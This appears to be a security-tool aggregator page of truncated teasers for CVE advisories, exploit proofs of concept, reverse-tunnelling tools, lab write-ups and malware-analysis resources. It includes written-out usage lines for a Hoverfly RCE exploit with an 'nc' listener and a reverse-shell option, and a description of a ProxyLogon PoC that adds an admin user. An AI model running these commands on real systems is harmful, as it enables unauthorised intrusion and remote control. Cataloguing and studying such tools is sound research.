CVE-2026-3096 Reverse Tabnabbing via New Tab Navigation in Multiple WSO2 Products Allows Phishing and Credential Theft

The product's web portals allow external links to be opened in a new browser tab. In certain configurations, the originating window retains access to the newly opened page, allowing interaction between the two browser contexts when navigating to external destinations. This vulnerability could all...

SkypeACLKeyGen.exe-analysis-for-hacking-team

SkypeACLKeyGen.exe analysis for hacking team So... what do we analyse today ? well today we analyse a piece of software from hacking team. It's about skype? why do we do this ? idk i find it interesting. So anyway we start by inspecting runtime behaviour. As you can see it requires a username and...

ReverseSocks5

ReverseSocks5 Reverse SOCKS5 proxy in Golang. Usage root@kitploit: Usage of ReverseSocks5.exe: -cert string Certificate file if using TLS on the server -connect string Connect address for socks agent address:port -key string Private key file if using TLS on the server -listen string Listen addres...

CVE-Vulnerability-Research-Exploit-Analysis

CVE-Vulnerability-Research-Exploit-Analysis A structured penetration testing project researching and executing real-world CVE exploits in a controlled sandbox environment. Targets included Windows 95 and Windows XP SP3 running across a multi-machine virtual network built with VirtualBox. Exploits...

CVE-2025-55182-poc

CVE-2025-55182-poc A proof-of-concept PoC exploit for CVE-2025-55182 , targeting an unauthenticated Remote Code Execution RCE vulnerability in Next.js Server Actions. This exploit abuses prototype pollution during the deserialization of React Server Components RSC multipart payloads to inject...

firecat

firecat Para más información, consulta: http://www.bishopfox.com/resources/tools/other-free-tools/firecat/ Firecat es una herramienta de pruebas de penetración que permite abrir túneles TCP reversos hacia fuera de una red comprometida. Una vez establecido el túnel, puedes conectarte desde un host...

CVE-2025-8110

Exploit RCE en Gogs CVE-2025-8110 Prueba de concepto para CVE-2025-8110 - Ejecución Remota de Código en Gogs mediante bypass de enlace simbólico e inyección de sshCommand. Descripción Este exploit abusa de un bypass de enlace simbólico en la API de Gogs para sobrescribir .git/config e inyectar un...

bip

Bip Bip es un proyecto que tiene como objetivo simplificar el uso de Python para interactuar con IDA. Sus principales objetivos son facilitar el uso de Python en la consola interactiva de IDA y la escritura de plugins. De un modo más general, el objetivo es automatizar tareas recurrentes realizad...

Malware-analysis-and-Reverse-engineering

Malware-analysis-and-Reverse-engineering Algunos de mis análisis de malware e ingeniería inversa disponibles públicamente Informes, Consejos, Trucos... Ingeniería inversa del stealer KPOT v2.0 Depuración de MBR - IDA + Bochs Emulator ejemplo de CTF Descifrado TLS en Wireshark Ryuk Ransomware:...

-Pluck-CMS-RCE-CVE-2023-50564

exploit.py 🐍💥 ⚠️ Aviso legal / ético: este script es solo para entornos autorizados ✅ CTFs, laboratorios, pentesting con permiso. No lo uses contra sistemas sin autorización ❌. 🧾 ¿Qué hace este script? exploitgreenhorn.py automatiza una cadena de explotación típica en un panel web: ✅ Hace login en...

Exploiting-Samba-on-Metasploitable-2

Exploiting-Samba-on-Metasploitable-2 My goal here was to utilize metasploit from a Kali Linux machine to exploit a well-known samba vulnerability CVE-2007-2447. This is done in order to infiltrate a Metasploitable 2 machine with a reverse shell to access the root folder. Once this folder has been...

THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j This room is based on exploiting the notorious Log4j vulnerability CVE-2021-44228, also referred to as the Log4Shell. The weakness enables attackers to execute a remote code via injection of the malicious payloads into the log messages. TASK 1 – CVE-2021-44228...

ProxyLogon-CVE-2021-26855

CVE-2021-26855 This is a modified version of a POC for proxylogon. Instead of laucnhing "whoami" it creates a new user and adds that user to the administrator group and creates a reverse shell. The origonal POC code can be found here: https://www.exploit-db.com/exploits/49663 Usage: python...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443...

MegaQuagga_Pentesting_Report

MegaQuagga Pentesting Report This repository contains a full web application penetration test performed against a WordPress environment. The assessment includes vulnerability discovery, exploitation, post-exploitation, and documentation of real-world attack impact. 🔍 Project Overview Target:...

OWN-Defender

OWN-Defender — Windows Security Center COM Research OWN-Defender is a Windows security research project focused on understanding how Windows Security Center WSC represents and manages antivirus security products through its COM interfaces. The project began as an investigation into the behavior...

CVE-2026-88011

Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.56, and from 3.0.0 until 3.7.12, a client-supplied dot-form header such as X.Authenticated.User survives ForwardAuth replacement and underscoreHeadersStrategy because Go treats it as distinct from X-Authenticated-User...

CVE-2026-88009

Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.57, and 3.7.13, Traefik accepts a rootless HTTP/1 request target that Go stores in URL.Opaque while leaving URL.Path empty. The rewriteRequestBuilder path evaluates routing, path sanitization, forwardAuth,...

how_to_become_a_malware_analyst

マルウェア解析者になるための勉強方法work-in-progress これは@PINKSAWTOOTHの私見で、必ずしもあなたにとって一番良い方法ではないかもしれません。勉強方法の一例として参照してもらえれば幸いです。 これを読む前に、私が尊敬するマルウェア解析者の@hasherezade氏がマルウェア解析の勉強をどのように始めたらよいかをブログにまとめています。 重複する部分があると思いますが、一読することをおすすめします。また、以下のブログは英語のソースが中心なので、可能な限り日本語を中心にしたソースを紹介したいと思います。...

CVE-2026-88011 Traefik: ForwardAuth identity spoofing via dot-form header alias

Traefik is an open source HTTP reverse proxy and load balancer. Prior to 2.11.56, and from 3.0.0 until 3.7.12, a client-supplied dot-form header such as X.Authenticated.User survives ForwardAuth replacement and underscoreHeadersStrategy because Go treats it as distinct from X-Authenticated-User...